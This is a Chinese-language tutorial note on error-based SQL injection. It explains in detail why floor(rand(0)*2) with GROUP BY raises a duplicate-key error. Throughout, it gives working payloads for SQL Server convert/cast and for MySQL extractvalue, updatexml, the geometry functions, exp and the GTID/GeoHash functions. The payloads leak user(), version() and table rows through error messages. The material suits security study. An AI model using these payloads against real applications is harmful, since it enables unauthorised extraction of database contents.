WEB-SQL报错注入

— 从零开始的笔记 —
— Mysql报错注入 —

一直堆着没有写…那么现在开始整理这种在特殊情境下节省时间的注入方法吧

报错注入

报错注入:通过报错信息来获取我们想要的信息的SQL注入利用方式。
其构造根据产生报错的函数而各有不同,但是目的就是执行我们输入的sql语句,并通过报错回显的方式直接输出结果。
前提

  • 存在sql注入点
  • 需要页面有错误回显
  • 利用函数没有被过滤

先提一些SQL Server

SQL Server

SQL Server 中的报错函数,以数据类型转换错误最为常见。CAST()函数和CONVERT()函数都不能执行四舍五入或截断操作,如果执行就会产生错误信息。

  • convert():CONVERT() 函数可以用不同的格式显示日期/时间数据。
    CONVERT(目标数据类型,内容,日期/时间输出格式)
  • cast():CAST()函数可以用来转换数据类型
    CAST (表达式 AS 目标数据类型)

利用如下(强行换行为了看清楚):

1
2
3
4
5
select * from user where username='root' and password='root' 
and 1=convert(int,(select top 1 users.username from users))

select * from user where username='root' and password='root'
and 1=cast((select top 1 users.username from users),int)

Mysql

Mysql报错函数很多,下面一种种进行说明以及演示

floor()

说是floor()报错,但实际上这个报错floor()只是其中的一小环,需要联合rand(),group by 一起使用。

  • floor():floor(num)函数只返回num整数部分,小数部分舍弃。
  • rand():rand()可以产生一个随机的0-1的数字;rand()括号中给予参数,就可以相当于给了一个伪随机数的种子,伪随机数种子不变,那么接下来产生的随机数是固定的。
  • group by:group by 列名/列号,实现产生列名相同的合并成一行的临时表,然后从临时表中查询,如果从一个合并后有多个值的字段中查询,只会显示第一个。但可以对所有使用聚合函数,详情戳=w=

报错利用

1
2
3
4
5
6
7
8
9
10
select 1 from 
(
select
count(*), # 必不可少 别忘了','
concat(user(),floor(rand(0)*2)) x # user()可以替换为需要查询的select语句,要求返回一行;构成临时表x
from
information_schema.TABLES #随意指定一张存在的表,权限可以SELECT,行数必须>=3,之后说明
group by
x # 调用临时表x
) a; #构成临时表

2.png
也可以换一个姿势

1
2
3
4
5
6
7
8
9
select 1 from 
(
select
count(*)
from
information_schema.TABLES
group by
concat((select name from lesson1 limit 1 offset 1),floor(rand(0)*2))
) as a;

1.png

ps.报错结果中最后的1 是由floor(rand(0)*2)产生的

复杂的原理

关于 group by 与 rand() 在一起会产生蜜汁化学反应,对此官网有提到:

Use of a column with RAND() values in an ORDER BY or GROUP BY clause may yield unexpected results because for either clause a RAND() expression can be evaluated multiple times for the same row, each time returning a different result.
按照ORDER BY或GROUP BY子句的顺序使用RAND()值的列可能会产生意想不到的结果,因为对于任一子句,RAND()表达式都可以被多次评估,每次返回一个不同的结果。

对于这种蜜汁化学反应,网上大部分对报错注入的说明都是rand()产生的值被当做主键放入临时表中,至于它为什么不是被当做列号处理,和其他参数有啥区别…以及究竟具体情况是如何的,网上没有找到更详细的说明,虽然有关于group的底层实现,请原谅老朽才学疏浅,无法看懂。

所以可以先建立一个可以解释原理的观念:rand() 放在group by 后时,rand产生的值被当做主键放入临时表中

接下来解释文档中提到的多次评估,同时说明当select count(*) group by rand()在一起时操作的流程:

  • 1.group by 会产生一张临时表
  • 2.查询原表的一行,按照group by的rand()判断,此时计算一次rand()
  • 3.判断 rand()计算结果 作为的主键是否已经存在在临时表中
  • 4.若已经存在,count(*)结果+1。返回步骤2
  • 5.若不存在,向临时表中插入这行数据,此时计算一次rand()
  • 6.按照 rand()计算结果 作为的主键写入临时表。返回步骤2

这么一看可能有点复杂,但是可以分析得出:如果判断主键存在,rand()只需要计算一次,如果判断主键不存在,rand()总共要计算两次。
此时的流程为:---rand计算---判断---rand计算---插入---

同时,我们知道rand()的值是会变化的,如果rand计算一次,判断主键是不存在了,rand第二次计算时的结果作为插入的主键又已经存在于临时表中,会发生什么?自然就是我们之前看到的报错了。

floor(rand(0)*2)正是特意构造的这么一串”随机数”

4.png

下面将 floor(rand(0)*2) 替代 rand(),按照”随机数”的值看下执行流程

3.png

最后报错成功,这里我们也可以解决之前的疑问,为什么必须有三行数据才行,因为三行数据才能触发错误。

由于是主键重复,一行错误触发是不可能的,有没有可能两行来触发呢?
根据原理只要找到随机种子生成的随机数是1101,0010,0101,1010都可以

随便凑了一下,发现 -7 可以

5.png

6.png

7.png

success!

还有不懂戳这里

floor在Mysql 5.0 可以使用
以下的函数在MySQL 5.1.5以后可以使用:

extractvalue()

extractvalue():用来解析XML数据,从目标XML中返回包含所查询值的字符串
EXTRACTVALUE (XML_document, XPath_string);
XML_document:String格式,为XML文档对象的名称或文档内容
XPath_string:Xpath格式的字符串

1
2
SELECT ExtractValue('<a><b/></a>', 'count(/a/b)');
SELECT extractvalue(doc,'/book/author/initial');

报错利用

1
2
3
select 1 from lesson1 where id=1 and (extractvalue(1,concat(0x2e,(select user()))))
select 1 from lesson1 where id=1 and (extractvalue(1,concat('.',(select user()))))
select 1 from lesson1 where id=1 and (extractvalue(1,concat(0x2e,(select type from lesson2 limit 1))))

8.png

注意limit 1

通过报错信息显而易见,语法错误
使用concat()是因为,可以在前面加入字符导致xpath格式非法
此处有点奇怪,当使用0x5c(/)读取user()时,第一个字符会不见;
当使用数字1,读取数字不会报错
换成0x2e(.)都可以成功,就都用0x2e吧,到时候在更根据情况修改

updatexml()

updatexml():更新XML,改变文档中符合条件的节点的值
UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据

1
update x set doc=updatexml(doc,'/book/author/initial','!!!');

报错利用

1
2
select 1 from lesson1 where id=1 and (updatexml(1,concat(0x5e24,(select user()),0x5e24),1))
select 1 from lesson1 where id=1 and (updatexml(1,concat(0x5e24,(select type from lesson2 limit 1),0x5e24),1))

注意limit 1

9.png

原理相同

GeometryCollection()

GeometryCollection():可以建立一个保存任意类型的空间数据
不深入

报错利用

1
2
select 1 from lesson1 where id=1 and GeometryCollection((select * from(select * from(select user())a)b))
select 1 from lesson1 where id=1 and GeometryCollection((select * from(select * from(select type from lesson2 limit 1)a)b))

注意limit 1

10.jpg

polygon()

polygon():与上类似建立一个空间多边形数据

1
2
SET @poly =
'Polygon((0 0,0 3,3 0,0 0),(1 1,1 2,2 1,1 1))';

报错利用

1
2
select 1 from lesson1 where id=1 and polygon((select * from(select * from(select user())a)b))
#读取其他与上相同

11.png

multipoint() multilinestring() multipolygon() linestring()

1
2
3
4
5
6
7
8
multipoint():点元素集合
select 1 from lesson1 where id=1 and multipoint((select * from(select * from(select user())a)b))
multilinestring():线元素集合
select 1 from lesson1 where id=1 and multilinestring((select * from(select * from(select user())a)b))
multipolygon():多边形集合
select 1 from lesson1 where id=1 and multipolygon((select * from(select * from(select user())a)b))
linestring():线串
select 1 from lesson1 where id=1 and linestring((select * from(select * from(select user())a)b))

exp()

exp():返回e(自然对数的底)到X次方的值

1
2
multipoint():点元素集合
select 1 from lesson1 where id=1 and exp(~(select*from(select user())a))

12.png

Mysql 5.7 以后

1
2
3
4
5
6
7
8
9
10
ST_LatFromGeoHash()
select ST_LatFromGeoHash(version());
ST_LongFromGeoHash()
select ST_LongFromGeoHash(version());
GTID_SUBSET()
select GTID_SUBSET(version(),1);
GTID_SUBTRACT()
select GTID_SUBTRACT(version(),1);
ST_PointFromGeoHash()
select ST_PointFromGeoHash(version(),1);